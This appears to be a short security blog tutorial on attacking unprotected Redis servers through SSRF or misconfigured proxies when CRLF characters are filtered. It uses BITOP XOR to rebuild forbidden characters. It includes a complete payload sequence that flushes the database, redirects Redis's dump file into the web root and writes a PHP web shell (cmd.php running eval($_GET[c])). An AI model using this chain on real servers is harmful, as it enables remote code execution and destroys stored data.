About

There are a lot of articles, describing redis exploitation via http-based protocols. It might be a misconfigured reverse-proxy or SSRF vulnerability - whatever. But at the end every technique faces with one problem - we need to add spaces to our payloads, but sometimes this can be a tricky case.

Binary-safe redis protocol

Nicolas Grégoire in his article “Trying to hack Redis via HTTP requests” described almost everything you may need to successfully exploit not protected redis server. He also suggested to use binary-safe version of the redis protocol when we need to add spaces or another special characters into a payload.
It looks something like this:

*1
$8
flushall
*3
$3
set
$1
1
$7
myvalue

Each command starts with * followed by number of command parts (keywords + arguments). Before sending each part in binary-safe manner we should specify number of bytes in the following string:

$7
myvalue

Every line is terminated by by CRLF (%0d%0a)

So, what if we are not allowed to use \r\n?

It might be a bunch of reasons to forbid us to send these vital %0d0a, but we might still need passwords or any other special characters in our payload. Is there another way to create our payload?
Yes! Lets look into the redis documentation:

BITOP function allows us to perform bitwise operations between multiple keys:

BITOP AND destkey srckey1 srckey2 srckey3 ... srckeyN
BITOP OR destkey srckey1 srckey2 srckey3 ... srckeyN
BITOP XOR destkey srckey1 srckey2 srckey3 ... srckeyN
BITOP NOT destkey srckey

Using such a wonderful opportunity, we can recreate any character we need using those already available. For example, if we need space character:

_set a1 F
_set a2 f
_BITOP XOR payload a1 a2

We’ll get a space in our ‘payload’ at the end. So, now we can save our first php shell:

_FLUSHALL 
_config set dir /var/www/html/ 
_set a1 ZY%16%0E%16F
_set a2 ffffff
_BITOP XOR payload a1 a2
_append payload eval($_GET[c]);%3f>
_config set dbfilename cmd.php 
_save

The ‘payload’ key will hold <?php value with vitally needed space after it.

What else can be useful?

Have a look at these redis commands:

SETRANGE - allows to insert given value to a desired position:

redis>  SET key1 "Hello World"
"OK"
redis>  SETRANGE key1 6 "Redis"
(integer) 11
redis>  GET key1
"Hello Redis"

SETBIT - sets or clears the bit at needed offset:

redis>  SETBIT mykey 7 1
(integer) 0
redis>  SETBIT mykey 7 0
(integer) 1
redis>  GET mykey
"\u0000"

References

Good luck and happy hacking!